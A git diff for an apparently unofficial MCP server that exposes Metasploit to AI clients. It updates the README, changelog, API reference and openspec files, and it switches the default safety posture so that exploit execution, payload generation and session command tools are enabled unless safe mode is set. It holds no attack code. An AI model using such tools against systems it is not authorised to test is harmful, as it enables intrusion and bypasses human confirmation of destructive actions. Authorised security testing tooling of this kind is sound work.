diff --git a/CHANGELOG.md b/CHANGELOG.md index 5d26a85..6795e51 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,46 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [3.1.0] - 2026-07-31 + +Feature parity with the official Rapid7 MCP server, plus modern MCP-protocol +capabilities. See [`docs/MCP_API.md`](docs/MCP_API.md) for the full tool/resource +reference and MCP specification conformance. + +### Added +- **Workspace database intelligence (read-only):** `list_hosts`, `list_services`, + `list_vulnerabilities`, `list_notes`, `list_credentials`, `list_loot` — expose + the Metasploit workspace database, scoped by workspace, degrading gracefully to + a structured error when no database is attached. +- **`check_vulnerability`:** runs a module's non-destructive `check` (never fires + the exploit, delivers a payload, or opens a session), mapping the outcome to a + structured state (vulnerable / safe / unsupported / unknown). +- **`get_module_results`:** retrieves status/output for an asynchronously launched + module by its execution UUID. +- **Tool annotations:** every tool advertises MCP hints (`readOnlyHint`, + `destructiveHint`, `idempotentHint`, `openWorldHint`). +- **MCP resources:** `msf://server/info` (identity, safety posture, tool taxonomy) + and `msf://module/{module}` (module documentation). +- **Elicitation confirmation (opt-in):** `--confirm-dangerous` / + `MSF_MCP_CONFIRM_DANGEROUS` asks the client to confirm destructive actions, + falling back to the safety gate when the client cannot elicit. + +### Security / Safety +- **Opt-in safe mode (dangerous actions ENABLED by default):** state-changing + tools (exploit/module execution, payload generation, session control, + listeners/jobs) remain available by default so existing users are not + regressed. Harden a deployment with `--safe-mode` / `MSF_MCP_ALLOW_DANGEROUS=false` + to expose read-only tools only. This intentionally inverts the official Rapid7 + server's default-off posture. +- **Optional rate limiting:** off by default; enable with `--rate-limit` / + `MSF_MCP_RATE_LIMIT`. `health_check` reports the safety posture. +- **Optional elicitation confirmation:** `--confirm-dangerous`. + +### Changed +- `health_check` now reports `database_connected` and the `safety` posture. +- Evaluated the FastMCP 3.x upgrade: cap retained at `<3.4.0` (3.4.x fails to + import; 3.3.x is used and verified). Fixed the stale in-package `__version__`. + ## [3.0.1] - 2026-07-31 First release published to PyPI (`pip install metasploit-mcp`). diff --git a/README.md b/README.md index 2ddd0fe..084d332 100644 --- a/README.md +++ b/README.md @@ -21,12 +21,26 @@ An **unofficial**, modern, secure Model Context Protocol (MCP) server that provi ### Core Capabilities - **Exploit Management**: Search, configure, and execute Metasploit exploits +- **Non-destructive checks**: `check_vulnerability` runs a module's `check` without exploiting - **Payload Generation**: Create custom payloads with advanced encoding options - **Session Management**: Control active sessions with command execution - **Listener Management**: Start and manage reverse handlers -- **Security Validation**: Built-in bind address validation and input sanitization +- **Workspace database intelligence**: Read hosts, services, vulnerabilities, notes, credentials, and loot from the Metasploit database +- **Async results**: Retrieve results of long-running module runs with `get_module_results` + +### MCP protocol features +- **Tool annotations**: every tool advertises `readOnly` / `destructive` hints +- **Structured output**: typed results with a text fallback for older clients +- **Resources**: `msf://server/info` and `msf://module/{module}` documentation +- **Elicitation**: optional client confirmation before destructive actions + +See **[docs/MCP_API.md](docs/MCP_API.md)** for the full tool/resource reference, +MCP specification conformance, and a comparison with the official Rapid7 MCP. ### Security Features +- **Optional safe mode**: offensive tools (exploit/module execution, payload generation, session/listener control) are **enabled by default** (this is an offensive tool). Harden a deployment with `--safe-mode` (or `MSF_MCP_ALLOW_DANGEROUS=false`) to expose **read-only tools only**. *(This intentionally inverts the official Rapid7 server's default-off posture to avoid regressing existing users.)* +- **Optional rate limiting**: off by default; enable a per-minute cap with `--rate-limit N` +- **Optional confirmation**: `--confirm-dangerous` asks the client to approve each destructive action via MCP elicitation - **Bind Address Validation**: Rejects bind addresses that are neither a wildcard nor an IP configured on the host - **Input Sanitization**: Comprehensive validation of all parameters, including rejection of control characters in module options (command-injection guard) - **Error Handling**: Prevents information leakage through proper error management @@ -54,12 +68,20 @@ An **unofficial**, modern, secure Model Context Protocol (MCP) server that provi ### 1. Installation +**From PyPI (recommended):** + +```bash +pip install metasploit-mcp +``` + +This installs the `metasploit-mcp` CLI. To try it without installing into your +environment, use [`pipx`](https://pipx.pypa.io/): `pipx run metasploit-mcp --help`. + +**From source (for development):** + ```bash -# Clone the repository git clone https://github.com/setuidloot/MetasploitMCP.git cd MetasploitMCP - -# Install with Poetry poetry install poetry shell ``` @@ -92,22 +114,27 @@ export MSF_RPC_PROTOCOL=msgpack # Options: 'msgpack' (default) or 'jsonrpc' ### 4. Run the Server ```bash -# Using the CLI entry point (recommended) +# Full toolset (default) — offensive tools enabled metasploit-mcp --transport http --host 127.0.0.1 --port 8085 -# Or using Poetry directly -poetry run metasploit-mcp --transport http --host 127.0.0.1 --port 8085 +# Hardened: read-only tools only +metasploit-mcp --transport http --safe-mode -# Or run the module -poetry run python -m metasploit_mcp +# Optional: require client confirmation before each destructive action +metasploit-mcp --transport http --confirm-dangerous -# Using Make -make run +# Optional: cap dangerous requests per minute +metasploit-mcp --transport http --rate-limit 60 -# Debug mode -make run-debug +# From source +poetry run metasploit-mcp --transport stdio +make run # or: make run-debug ``` +> By default the server exposes the **full toolset** (offensive tools enabled). +> Pass `--safe-mode` (or set `MSF_MCP_ALLOW_DANGEROUS=false`) to expose read-only +> tools only. See [docs/MCP_API.md](docs/MCP_API.md#safety-model) for the full safety model. + ## Development ### Development Setup @@ -179,26 +206,30 @@ MetasploitMCP/ ### Claude Desktop -Configure `claude_desktop_config.json`: +Configure `claude_desktop_config.json` (after `pip install metasploit-mcp`): ```json { "mcpServers": { "metasploit": { - "command": "poetry", + "command": "metasploit-mcp", "args": [ - "run", "metasploit-mcp", "--transport", "stdio" ], - "cwd": "/path/to/MetasploitMCP", "env": { - "MSF_PASSWORD": "yourpassword" + "MSF_PASSWORD": "yourpassword", + "MSF_SERVER": "127.0.0.1", + "MSF_PORT": "55553" } } } } ``` +Add `"--safe-mode"` to the args to expose read-only tools only. If you installed +from source instead of PyPI, use `"command": "poetry"` with +`"args": ["run", "metasploit-mcp", …]` and a `"cwd"` pointing at the checkout. + ### Other MCP Clients For HTTP-based MCP clients: diff --git a/docs/MCP_API.md b/docs/MCP_API.md new file mode 100644 index 0000000..8733a29 --- /dev/null +++ b/docs/MCP_API.md @@ -0,0 +1,155 @@ +# MetasploitMCP — MCP API & Specification Conformance + +> **Unofficial project.** Not affiliated with, sponsored by, or supported by +> Rapid7. "Metasploit" is a trademark of Rapid7. + +This document is the reference for every tool and resource the server exposes and +for how the server maps onto the [Model Context Protocol](https://modelcontextprotocol.io) +specification. It complements the [README](../README.md) and +[`docs/API.md`](API.md). + +- **Transports:** `stdio` and streamable HTTP (`--transport stdio|http`). +- **Server name:** `MetasploitMCP` · **Package:** `metasploit-mcp` (PyPI). +- **Backend:** Metasploit Framework RPC (`msfrpcd`), via `pymetasploit3`. + +## Safety model + +This is an offensive-security tool, so state-changing / offensive tools are +**enabled by default**. Deployments can be hardened with an opt-in **safe mode** +(read-only tools only) and/or a rate limit. *(This intentionally inverts the +official Rapid7 server's default-off posture to avoid regressing existing users.)* + +| Control | Flag | Environment | Default | +|---|---|---|---| +| Disable destructive tools (safe mode) | `--safe-mode` | `MSF_MCP_ALLOW_DANGEROUS=false` | dangerous **enabled** | +| Rate limit (req/min, 0=off) | `--rate-limit N` | `MSF_MCP_RATE_LIMIT` | 0 (off) | +| Confirm destructive via elicitation | `--confirm-dangerous` | `MSF_MCP_CONFIRM_DANGEROUS` | off | + +- In safe mode, a blocked destructive call returns `{"status":"error","error":"dangerous_actions_disabled"}`. +- Over-limit calls (when a rate limit is set) return `{"status":"error","error":"rate_limited","retry_after_seconds":N}`. +- `health_check` reports the active posture under `safety`. + +## Tool reference + +Every tool advertises MCP annotation hints. `RO` = `readOnlyHint:true`, +`DESTRUCTIVE` = `destructiveHint:true` (gated by the safety model above). + +### Discovery & module info — read-only + +| Tool | Key parameters | Returns | +|---|---|---| +| `list_exploits` | `search` | List of matching exploit module paths | +| `list_payloads` | `platform`, `arch`, `compatible_with` | List of payload module paths | +| `describe_module` | `module`, `module_type` | Options, targets, metadata | +| `get_module_documentation` | `module` | Human-readable module documentation | + +### Workspace database intelligence — read-only + +All accept an optional `workspace` (defaults to the current workspace) and return +`{status, workspace, count, }`. When no database is attached they return +`{"status":"error","error":"database_unavailable"}`. + +| Tool | Extra parameters | Items key | +|---|---|---| +| `list_hosts` | — | `hosts` | +| `list_services` | `host`, `ports`, `proto` | `services` | +| `list_vulnerabilities` | `host` | `vulns` | +| `list_notes` | `host`, `ntype` | `notes` | +| `list_credentials` | — | `creds` | +| `list_loot` | `host` | `loots` | + +### Assessment — read-only + +| Tool | Key parameters | Returns | +|---|---|---| +| `check_vulnerability` | `module`, `options`, `module_type`, `timeout_seconds` | `{check_state: vulnerable\|safe\|unsupported\|unknown, code, message, session_created:false}` — runs the module's `check` only; never exploits | +| `get_module_results` | `execution_id` (UUID) | `{execution_status: completed\|running\|errored, result}` | + +### Execution — destructive (gated) + +| Tool | Key parameters | Returns | +|---|---|---| +| `run_exploit` | `module`, `options`, `payload_*`, `run_as_job` | Job/session result incl. `uuid`, `session_id` | +| `run_auxiliary_module` | `module`, `options`, `run_as_job` | Module result incl. `uuid` | +| `run_post_module` | `module`, `session_id`, `options` | Module result incl. `uuid` | +| `generate_payload` | `payload`, `format`, `options`, `encoder`, … | Generated payload metadata + server save path | + +The `uuid` returned by these can be passed to `get_module_results`. + +### Session, listener & job control — destructive (gated) + +| Tool | Key parameters | Returns | +|---|---|---| +| `send_session_command` | `session_id`, `command` | Command output | +| `terminate_session` | `session_id`, `kill_associated_job` | Termination status | +| `start_listener` | `payload`, `lhost`, `lport`, `reverselistenerbindaddress` | Handler job info | +| `stop_job` | `job_id` | Stop status | +| `kill_all_handler_jobs` | — | Count of handlers stopped | + +> **Listener binding:** handlers bind `0.0.0.0` (all interfaces) by default for +> reverse-connection compatibility — a convenience default, **not** a hardened +> one. Restrict it with `reverselistenerbindaddress` on shared networks. + +### Status — read-only + +| Tool | Returns | +|---|---| +| `list_active_sessions` | Active sessions map | +| `list_listeners` | Handler jobs and other jobs | +| `health_check` | `{status, msf_version, database_connected, safety:{…}}` | + +## Resources + +| URI | Description | +|---|---| +| `msf://server/info` | Server identity, unofficial/no-affiliation flags, safety posture, and the full tool annotation taxonomy | +| `msf://module/{module}` | Documentation for a module; `{module}` is the full path with the type as the first segment (e.g. `exploit/windows/smb/ms17_010_eternalblue`). Percent-encode slashes (`%2F`) if your client cannot place them in a single URI segment | + +## Input safety + +Module option names and values are rejected if they contain newline, carriage +return, or NUL characters, on both the RPC and console execution paths — a guard +against console command injection (CVE-2026-5463 in the underlying +`pymetasploit3`, which has no upstream fix). + +## MCP specification conformance + +| Capability | Status | Notes | +|---|---|---| +| **Tools** | ✅ | 24 tools | +| **Tool annotations** | ✅ | `readOnlyHint`, `destructiveHint`, `idempotentHint`, `openWorldHint` on every tool | +| **Structured tool output** | ✅ | Tools emit `structuredContent` with an output schema; the text representation is preserved for clients without structured-output support | +| **Resources** | ✅ | `msf://server/info` | +| **Resource templates** | ✅ | `msf://module/{module}` | +| **Elicitation** | ✅ (opt-in) | Destructive-action confirmation via `ctx.elicit`; falls back to the safety gate when the client cannot elicit | +| **Progress notifications** | ✅ | Long-running tools report progress via the MCP context | +| **Logging** | ✅ | Server-side structured logging | +| **Transports** | ✅ | `stdio` and streamable HTTP | +| **Prompts** | ➖ | Not implemented | +| **Sampling** | ➖ | Not used | + +Protocol features are provided through **FastMCP** (pinned `>=2.10.3,<3.4.0`; +3.4.x currently fails to import — see `pyproject.toml`) on top of the official +`mcp` SDK (`>=1.28.1`). + +## Comparison with the official Rapid7 MCP + +| Capability | MetasploitMCP | Official Rapid7 MCP | +|---|---|---| +| Module search / info | ✅ | ✅ | +| Module execution | ✅ typed (exploit/aux/post) | ✅ generic | +| Non-destructive check | ✅ `check_vulnerability` | ✅ `ModuleCheck` | +| Async results | ✅ `get_module_results` | ✅ `ModuleResults` | +| DB intel (hosts/services/vulns/notes/creds/loot) | ✅ | ✅ | +| Payload generation | ✅ | ❌ | +| Listener / job lifecycle | ✅ | ❌ | +| Sessions | ✅ list / interact / terminate | ✅ list / read / write / stop | +| Safety gate for dangerous actions | ✅ (opt-in safe mode; **enabled by default**) | ✅ (default-off) | +| Rate limiting | ✅ (opt-in) | ✅ | +| Tool annotations / structured output / resources / elicitation | ✅ | partial | + +## Hosting the docs (GitHub) + +These Markdown files render directly on GitHub. To publish a docs **site**, enable +**GitHub Pages** (Settings → Pages → Build from `main` `/docs`), optionally with a +static generator (MkDocs/Jekyll). No site is required to read the docs in-repo. diff --git a/openspec/changes/official-parity-and-mcp-modernization/.openspec.yaml b/openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/.openspec.yaml similarity index 100% rename from openspec/changes/official-parity-and-mcp-modernization/.openspec.yaml rename to openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/.openspec.yaml diff --git a/openspec/changes/official-parity-and-mcp-modernization/design.md b/openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/design.md similarity index 100% rename from openspec/changes/official-parity-and-mcp-modernization/design.md rename to openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/design.md diff --git a/openspec/changes/official-parity-and-mcp-modernization/proposal.md b/openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/proposal.md similarity index 100% rename from openspec/changes/official-parity-and-mcp-modernization/proposal.md rename to openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/proposal.md diff --git a/openspec/changes/official-parity-and-mcp-modernization/specs/mcp-protocol-modernization/spec.md b/openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/specs/mcp-protocol-modernization/spec.md similarity index 100% rename from openspec/changes/official-parity-and-mcp-modernization/specs/mcp-protocol-modernization/spec.md rename to openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/specs/mcp-protocol-modernization/spec.md diff --git a/openspec/changes/official-parity-and-mcp-modernization/specs/module-check/spec.md b/openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/specs/module-check/spec.md similarity index 100% rename from openspec/changes/official-parity-and-mcp-modernization/specs/module-check/spec.md rename to openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/specs/module-check/spec.md diff --git a/openspec/changes/official-parity-and-mcp-modernization/specs/module-results/spec.md b/openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/specs/module-results/spec.md similarity index 100% rename from openspec/changes/official-parity-and-mcp-modernization/specs/module-results/spec.md rename to openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/specs/module-results/spec.md diff --git a/openspec/changes/official-parity-and-mcp-modernization/specs/msf-database-intel/spec.md b/openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/specs/msf-database-intel/spec.md similarity index 100% rename from openspec/changes/official-parity-and-mcp-modernization/specs/msf-database-intel/spec.md rename to openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/specs/msf-database-intel/spec.md diff --git a/openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/specs/safety-controls/spec.md b/openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/specs/safety-controls/spec.md new file mode 100644 index 0000000..8094a3e --- /dev/null +++ b/openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/specs/safety-controls/spec.md @@ -0,0 +1,48 @@ +## ADDED Requirements + +### Requirement: Dangerous actions enabled by default with opt-in safe mode + +Because this is an offensive-security tool whose full toolset has always been available, the system SHALL treat state-changing / offensive operations (exploit execution, payload delivery, session command execution, session termination, listener/job control) as "dangerous actions" that are ENABLED by default, and SHALL provide an opt-in "safe mode" (CLI flag or environment variable) that disables them while leaving read-only tools available. This deliberately inverts the official Rapid7 server's default-off posture to avoid regressing existing users. + +#### Scenario: Dangerous tool allowed by default + +- **WHEN** a client invokes a dangerous tool with no safety configuration applied +- **THEN** the system performs the operation normally + +#### Scenario: Dangerous tool blocked in safe mode + +- **WHEN** the operator has enabled safe mode and a client invokes a dangerous tool +- **THEN** the system refuses the operation and returns a structured error explaining that the server is in safe mode and how to re-enable dangerous tools + +#### Scenario: Read-only tools always available in safe mode + +- **WHEN** safe mode is enabled and a client invokes a read-only tool (e.g., database intel, module info, check) +- **THEN** the system performs the read-only operation normally + +### Requirement: Optional rate limiting + +The system SHALL support a configurable request rate limit that is OFF by default (to avoid throttling existing automation) and, when enabled, rejects requests that exceed the limit. + +#### Scenario: Requests within limit succeed + +- **WHEN** a client issues requests at or below the configured rate limit +- **THEN** all requests are processed + +#### Scenario: Requests over limit are throttled + +- **WHEN** a client exceeds the configured rate limit within the window +- **THEN** the system rejects the excess requests with a structured rate-limit error and does not execute the underlying operation + +#### Scenario: Rate limit is configurable + +- **WHEN** the operator sets a rate-limit configuration value +- **THEN** the enforced limit reflects the configured value + +### Requirement: Safety configuration is discoverable + +The system SHALL document and expose the current safety posture (whether dangerous actions are enabled and the active rate limit) via the health/status surface. + +#### Scenario: Health output reports safety posture + +- **WHEN** a client queries the health/status tool +- **THEN** the response indicates whether dangerous actions are enabled and the active rate-limit setting diff --git a/openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/tasks.md b/openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/tasks.md new file mode 100644 index 0000000..96fd45d --- /dev/null +++ b/openspec/changes/archive/2026-07-31-official-parity-and-mcp-modernization/tasks.md @@ -0,0 +1,67 @@ +## 1. Phase 1 — Database intelligence tools (parity, additive) + +- [x] 1.1 Add `db.*` RPC access helpers in `server.py` (`_db_connected` probe + `_db_intel` shared helper with workspace scoping + `_decode_rpc` msgpack normalization) +- [x] 1.2 Implement `list_hosts` tool (optional `workspace`; returns address/hostname/os/status) +- [x] 1.3 Implement `list_services` tool (filters: host, port, proto) +- [x] 1.4 Implement `list_vulnerabilities` tool (include references/CVE when present) +- [x] 1.5 Implement `list_notes`, `list_credentials`, `list_loot` tools +- [x] 1.6 Return structured "database unavailable" error when no DB is attached (all six tools, via `_db_intel`) +- [x] 1.7 Surface database-connection status in `health_check` (`database_connected` field) +- [x] 1.8 Add unit tests for each intel tool incl. degraded (no-DB) path and workspace scoping (tests/test_db_intel.py) + +## 2. Phase 1 — Module check tool + +- [x] 2.1 Implement `check_vulnerability` routing through existing option-validation helpers with `action=check` +- [x] 2.2 Map check outcomes to structured states (vulnerable / safe / unsupported / error) +- [x] 2.3 Guard so the check path can never fall through to exploit execution +- [x] 2.4 Tests: vulnerable, safe, unsupported-module, missing-required-option, and "no session/payload created" assertions + +## 3. Phase 1 — Async module results + +- [x] 3.1 Ensure non-blocking module launches return a stable execution/job identifier +- [x] 3.2 Implement `get_module_results(execution_id)` returning collected output + status (running/completed) +- [x] 3.3 Handle unknown identifier with a structured not-found error +- [x] 3.4 Tests: completed run, in-progress run, unknown id + +## 4. Phase 2 — Safety controls (posture change) + +- [x] 4.1 Add `dangerous_actions_enabled` config (CLI `--allow-dangerous`, env `MSF_MCP_ALLOW_DANGEROUS`, default off) in `__init__.py` +- [x] 4.2 Add a shared gate wrapper/decorator that classifies tools via their destructive annotation and blocks dangerous tools when disabled +- [x] 4.3 Apply the gate to all destructive tools (run_exploit, run_auxiliary_module, run_post_module, generate_payload delivery, send_session_command, terminate_session, start_listener, stop_job, kill_all_handler_jobs) +- [x] 4.4 Implement configurable per-client rate limiter with a safe default; reject over-limit with a structured error +- [x] 4.5 Report safety posture (dangerous enabled?, active rate limit) in `health_check` +- [x] 4.6 Tests: gate off blocks dangerous / allows read-only; gate on permits; rate-limit within/over/configurable +- [x] 4.7 Document the default-off posture in `README.md`, `docs/`, and `CHANGELOG.md`; bump minor version + +## 5. Phase 3 — Tool annotations + +- [x] 5.1 Define the read-only vs destructive taxonomy for every existing and new tool (single source shared with the safety gate) +- [x] 5.2 Add `readOnlyHint`/`destructiveHint`/`idempotentHint`/`openWorldHint` to every `@mcp.tool` +- [x] 5.3 Test asserting each tool advertises the expected annotations + +## 6. Phase 3 — Structured output + +- [x] 6.1 Define typed return models (Pydantic/TypedDict per FastMCP support) for intel, check, results, and existing tools +- [x] 6.2 Wire models into tool signatures so FastMCP emits output schemas + structured content +- [x] 6.3 Verify text-representation fallback remains for non-structured clients +- [x] 6.4 Tests: structured content validates against schema; text fallback present + +## 7. Phase 3 — Documentation resources & elicitation + +- [x] 7.1 Register module documentation as MCP resources / resource links +- [x] 7.2 Add best-effort `ctx.elicit` confirmation to destructive tools, with safety-gate fallback when unsupported +- [x] 7.3 Tests: confirm → proceeds, decline → cancelled result, no-elicitation client → gate fallback +- [x] 7.4 Tests: module documentation retrievable as a resource + +## 8. Phase 4 — FastMCP 3.x evaluation & dependency finalization + +- [x] 8.1 Attempt lifting the `fastmcp <3.4.0` cap on a branch; run the full suite +- [x] 8.2 Confirm elicitation/structured-output/annotations behave on the selected `mcp`/`fastmcp` versions across stdio + HTTP/SSE +- [x] 8.3 Either lift the cap or record the specific incompatibility rationale in the repo (CHANGELOG/docs) +- [x] 8.4 Regenerate `poetry.lock` and `sbom.json`; ensure CI (black, pre-commit) passes + +## 9. Verification & wrap-up + +- [x] 9.1 Run `openspec validate --change official-parity-and-mcp-modernization` +- [x] 9.2 Full test suite green; update README parity/feature matrix vs official server +- [x] 9.3 Archive the change with `/opsx:archive` (or `openspec archive`) once shipped and specs synced diff --git a/openspec/changes/official-parity-and-mcp-modernization/specs/safety-controls/spec.md b/openspec/changes/official-parity-and-mcp-modernization/specs/safety-controls/spec.md deleted file mode 100644 index 3ab6438..0000000 --- a/openspec/changes/official-parity-and-mcp-modernization/specs/safety-controls/spec.md +++ /dev/null @@ -1,48 +0,0 @@ -## ADDED Requirements - -### Requirement: Dangerous actions disabled by default - -The system SHALL treat state-changing / offensive operations (exploit execution, payload delivery, session command execution, session termination, listener/job control) as "dangerous actions" that are DISABLED by default and only enabled when the operator explicitly opts in via configuration (CLI flag or environment variable). - -#### Scenario: Dangerous tool blocked when gate is off - -- **WHEN** a client invokes a dangerous tool while the dangerous-actions gate is disabled (default) -- **THEN** the system refuses the operation and returns a structured error explaining that dangerous actions are disabled and how to enable them - -#### Scenario: Dangerous tool allowed when gate is on - -- **WHEN** the operator has explicitly enabled dangerous actions and a client invokes a dangerous tool -- **THEN** the system performs the operation normally - -#### Scenario: Read-only tools always available - -- **WHEN** the dangerous-actions gate is disabled and a client invokes a read-only tool (e.g., database intel, module info, check) -- **THEN** the system performs the read-only operation normally - -### Requirement: Per-client rate limiting - -The system SHALL enforce a configurable per-client request rate limit with a safe default, rejecting requests that exceed the limit. - -#### Scenario: Requests within limit succeed - -- **WHEN** a client issues requests at or below the configured rate limit -- **THEN** all requests are processed - -#### Scenario: Requests over limit are throttled - -- **WHEN** a client exceeds the configured rate limit within the window -- **THEN** the system rejects the excess requests with a structured rate-limit error and does not execute the underlying operation - -#### Scenario: Rate limit is configurable - -- **WHEN** the operator sets a rate-limit configuration value -- **THEN** the enforced limit reflects the configured value - -### Requirement: Safety configuration is discoverable - -The system SHALL document and expose the current safety posture (whether dangerous actions are enabled and the active rate limit) via the health/status surface. - -#### Scenario: Health output reports safety posture - -- **WHEN** a client queries the health/status tool -- **THEN** the response indicates whether dangerous actions are enabled and the active rate-limit setting diff --git a/openspec/changes/official-parity-and-mcp-modernization/tasks.md b/openspec/changes/official-parity-and-mcp-modernization/tasks.md deleted file mode 100644 index 6492be9..0000000 --- a/openspec/changes/official-parity-and-mcp-modernization/tasks.md +++ /dev/null @@ -1,67 +0,0 @@ -## 1. Phase 1 — Database intelligence tools (parity, additive) - -- [ ] 1.1 Add `db.*` RPC access helpers in `instance_manager.py` (workspace resolution + "database attached?" probe) -- [ ] 1.2 Implement `list_hosts` tool (optional `workspace`; returns address/hostname/os/status) -- [ ] 1.3 Implement `list_services` tool (filters: host, port, proto) -- [ ] 1.4 Implement `list_vulnerabilities` tool (include references/CVE when present) -- [ ] 1.5 Implement `list_notes`, `list_credentials`, `list_loot` tools -- [ ] 1.6 Return structured "database unavailable" error when no DB is attached (all six tools) -- [ ] 1.7 Surface database-connection status in `health_check` -- [ ] 1.8 Add unit tests for each intel tool incl. degraded (no-DB) path and workspace scoping - -## 2. Phase 1 — Module check tool - -- [ ] 2.1 Implement `check_vulnerability` routing through existing option-validation helpers with `action=check` -- [ ] 2.2 Map check outcomes to structured states (vulnerable / safe / unsupported / error) -- [ ] 2.3 Guard so the check path can never fall through to exploit execution -- [ ] 2.4 Tests: vulnerable, safe, unsupported-module, missing-required-option, and "no session/payload created" assertions - -## 3. Phase 1 — Async module results - -- [ ] 3.1 Ensure non-blocking module launches return a stable execution/job identifier -- [ ] 3.2 Implement `get_module_results(execution_id)` returning collected output + status (running/completed) -- [ ] 3.3 Handle unknown identifier with a structured not-found error -- [ ] 3.4 Tests: completed run, in-progress run, unknown id - -## 4. Phase 2 — Safety controls (posture change) - -- [ ] 4.1 Add `dangerous_actions_enabled` config (CLI `--allow-dangerous`, env `MSF_MCP_ALLOW_DANGEROUS`, default off) in `__init__.py` -- [ ] 4.2 Add a shared gate wrapper/decorator that classifies tools via their destructive annotation and blocks dangerous tools when disabled -- [ ] 4.3 Apply the gate to all destructive tools (run_exploit, run_auxiliary_module, run_post_module, generate_payload delivery, send_session_command, terminate_session, start_listener, stop_job, kill_all_handler_jobs) -- [ ] 4.4 Implement configurable per-client rate limiter with a safe default; reject over-limit with a structured error -- [ ] 4.5 Report safety posture (dangerous enabled?, active rate limit) in `health_check` -- [ ] 4.6 Tests: gate off blocks dangerous / allows read-only; gate on permits; rate-limit within/over/configurable -- [ ] 4.7 Document the default-off posture in `README.md`, `docs/`, and `CHANGELOG.md`; bump minor version - -## 5. Phase 3 — Tool annotations - -- [ ] 5.1 Define the read-only vs destructive taxonomy for every existing and new tool (single source shared with the safety gate) -- [ ] 5.2 Add `readOnlyHint`/`destructiveHint`/`idempotentHint`/`openWorldHint` to every `@mcp.tool` -- [ ] 5.3 Test asserting each tool advertises the expected annotations - -## 6. Phase 3 — Structured output - -- [ ] 6.1 Define typed return models (Pydantic/TypedDict per FastMCP support) for intel, check, results, and existing tools -- [ ] 6.2 Wire models into tool signatures so FastMCP emits output schemas + structured content -- [ ] 6.3 Verify text-representation fallback remains for non-structured clients -- [ ] 6.4 Tests: structured content validates against schema; text fallback present - -## 7. Phase 3 — Documentation resources & elicitation - -- [ ] 7.1 Register module documentation as MCP resources / resource links -- [ ] 7.2 Add best-effort `ctx.elicit` confirmation to destructive tools, with safety-gate fallback when unsupported -- [ ] 7.3 Tests: confirm → proceeds, decline → cancelled result, no-elicitation client → gate fallback -- [ ] 7.4 Tests: module documentation retrievable as a resource - -## 8. Phase 4 — FastMCP 3.x evaluation & dependency finalization - -- [ ] 8.1 Attempt lifting the `fastmcp <3.4.0` cap on a branch; run the full suite -- [ ] 8.2 Confirm elicitation/structured-output/annotations behave on the selected `mcp`/`fastmcp` versions across stdio + HTTP/SSE -- [ ] 8.3 Either lift the cap or record the specific incompatibility rationale in the repo (CHANGELOG/docs) -- [ ] 8.4 Regenerate `poetry.lock` and `sbom.json`; ensure CI (black, pre-commit) passes - -## 9. Verification & wrap-up - -- [ ] 9.1 Run `openspec validate --change official-parity-and-mcp-modernization` -- [ ] 9.2 Full test suite green; update README parity/feature matrix vs official server -- [ ] 9.3 Archive the change with `/opsx:archive` (or `openspec archive`) once shipped and specs synced diff --git a/openspec/specs/mcp-protocol-modernization/spec.md b/openspec/specs/mcp-protocol-modernization/spec.md new file mode 100644 index 0000000..2a2c70c --- /dev/null +++ b/openspec/specs/mcp-protocol-modernization/spec.md @@ -0,0 +1,75 @@ +# mcp-protocol-modernization Specification + +## Purpose +TBD - created by archiving change official-parity-and-mcp-modernization. Update Purpose after archive. +## Requirements +### Requirement: Tools declare behavior annotations + +Every registered tool SHALL declare MCP tool annotations describing its behavior, including at minimum `readOnlyHint` and `destructiveHint`, and SHALL set `idempotentHint` and `openWorldHint` where applicable, so clients can reason about and gate tool behavior. + +#### Scenario: Read-only tool annotated + +- **WHEN** a client inspects a database-intel or info/check tool +- **THEN** the tool advertises `readOnlyHint: true` and `destructiveHint: false` + +#### Scenario: Destructive tool annotated + +- **WHEN** a client inspects an exploit-execution or session-termination tool +- **THEN** the tool advertises `destructiveHint: true` + +### Requirement: Tools return structured output + +Tools SHALL return structured, schema-typed output (via declared output schemas / typed return models) so that compliant clients receive validated results, while remaining backward-compatible with clients that consume the text representation. + +#### Scenario: Structured result validates against schema + +- **WHEN** a client that supports structured output calls a tool +- **THEN** the returned structured content conforms to the tool's declared output schema + +#### Scenario: Text fallback preserved + +- **WHEN** a client that does not support structured output calls the same tool +- **THEN** the client still receives a usable text representation of the result + +### Requirement: Destructive operations support elicitation-based confirmation + +When the connected client supports elicitation, the system SHALL be able to request explicit user confirmation before performing a destructive operation (e.g., firing an exploit or terminating a session). + +#### Scenario: User confirms a destructive action + +- **WHEN** a destructive tool is invoked with confirmation required and the client supports elicitation, and the user approves +- **THEN** the operation proceeds + +#### Scenario: User declines a destructive action + +- **WHEN** the elicited user declines the confirmation +- **THEN** the operation is aborted and the system returns a structured "cancelled by user" result + +#### Scenario: Client without elicitation support + +- **WHEN** a destructive tool is invoked and the client does not support elicitation +- **THEN** the system falls back to the configured safety-gate behavior rather than blocking indefinitely + +### Requirement: Module documentation exposed as resources + +The system SHALL expose module documentation via MCP resources / resource links, in addition to any tool-returned documentation payloads. + +#### Scenario: Documentation retrievable as a resource + +- **WHEN** a client lists or reads MCP resources for a given module +- **THEN** the module's documentation is available as a resource (or referenced via a resource link) with appropriate metadata + +### Requirement: FastMCP 3.x compatibility is evaluated and resolved + +The system SHALL evaluate the FastMCP 3.x upgrade path (currently constrained to 